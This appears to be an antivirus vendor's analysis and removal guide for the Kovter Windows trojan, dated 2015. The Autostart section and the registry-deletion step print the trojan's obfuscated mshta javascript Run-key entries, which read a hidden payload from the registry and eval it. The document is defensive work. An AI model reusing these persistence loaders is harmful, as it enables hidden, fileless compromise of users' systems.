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TROJ_KOVTER.THU

September 06, 2015
 Analysis by: Homer Pacag
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It deletes itself after execution.

  TECHNICAL DETAILS

File Size:

416,858 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

05 Aug 2015

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKCU\Software\Microsoft\
Windows\CurrentVersion\Run
NULL = mshta javascript:Nxxm0dWVQ="twe";Z57N=new%20ActiveXObject("WScript.Shell");Ohm2g8GMrR="fN";mMp90Q=Z57N.RegRead("HKCU\software\fa7aaae421\b01c053f");UMdeBJT1s="BjbQ";eval(mMp90Q);KP4Rpd8LTc="X21";

HKLM\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer\Run
NULL = mshta javascript:lL6MtqW="vwT";YY9=new%20ActiveXObject("WScript.Shell");LIj5sEQOx="V0ylx";Vp7EO=YY9.RegRead("HKLM\software\fa7aaae421\b01c053f");dq7kXUa="yW";eval(Vp7EO);zz5SuzHgc="Wvx80";

HKLM\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
NULL = mshta javascript:YOhDXfRy4="zlh";G41Q=new%20ActiveXObject("WScript.Shell");BN8JjAR="j2XV";skZz79=G41Q.RegRead("HKLM\software\fa7aaae421\b01c053f");oLMnNa6="FVpWkLPS8k";eval(skZz79);mZ1ouYS6="wU";

Other System Modifications

This Trojan adds the following registry keys as part of its installation routine:

HKEY_LOCAL_MACHINE\SOFTWARE\fa7aaae421
0983caf7 = Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)

Other Details

This Trojan adds the following lines or registry entries as part of its routine:

  • HKLM\SOFTWARE\fa7aaae421
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

It deletes itself after execution.

NOTES:

This malware runs a shellcode using Windows Powershell.

  SOLUTION

Minimum Scan Engine:

9.750

FIRST VSAPI PATTERN FILE:

11.864.05

FIRST VSAPI PATTERN DATE:

19 Aug 2015

VSAPI OPR PATTERN File:

11.865.00

VSAPI OPR PATTERN Date:

19 Aug 2015

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry. Before you could do this, you must restart in Safe Mode. For instructions on how to do this, you may refer to this page If the preceding step requires you to restart in safe mode, you may proceed to edit the system registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • NULL = mshta javascript:Nxxm0dWVQ="twe";Z57N=new%20ActiveXObject("WScript.Shell");Ohm2g8GMrR="fN";mMp90Q=Z57N.RegRead("HKCU\software\fa7aaae421\b01c053f");UMdeBJT1s="BjbQ";eval(mMp90Q);KP4Rpd8LTc="X21";
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • NULL = mshta javascript:lL6MtqW="vwT";YY9=new%20ActiveXObject("WScript.Shell");LIj5sEQOx="V0ylx";Vp7EO=YY9.RegRead("HKLM\software\fa7aaae421\b01c053f");dq7kXUa="yW";eval(Vp7EO);zz5SuzHgc="Wvx80";
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • NULL = mshta javascript:YOhDXfRy4="zlh";G41Q=new%20ActiveXObject("WScript.Shell");BN8JjAR="j2XV";skZz79=G41Q.RegRead("HKLM\software\fa7aaae421\b01c053f");oLMnNa6="FVpWkLPS8k";eval(skZz79);mZ1ouYS6="wU";
  • In HKEY_LOCAL_MACHINE\SOFTWARE\fa7aaae421
    • 0983caf7 = Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_KOVTER.THU. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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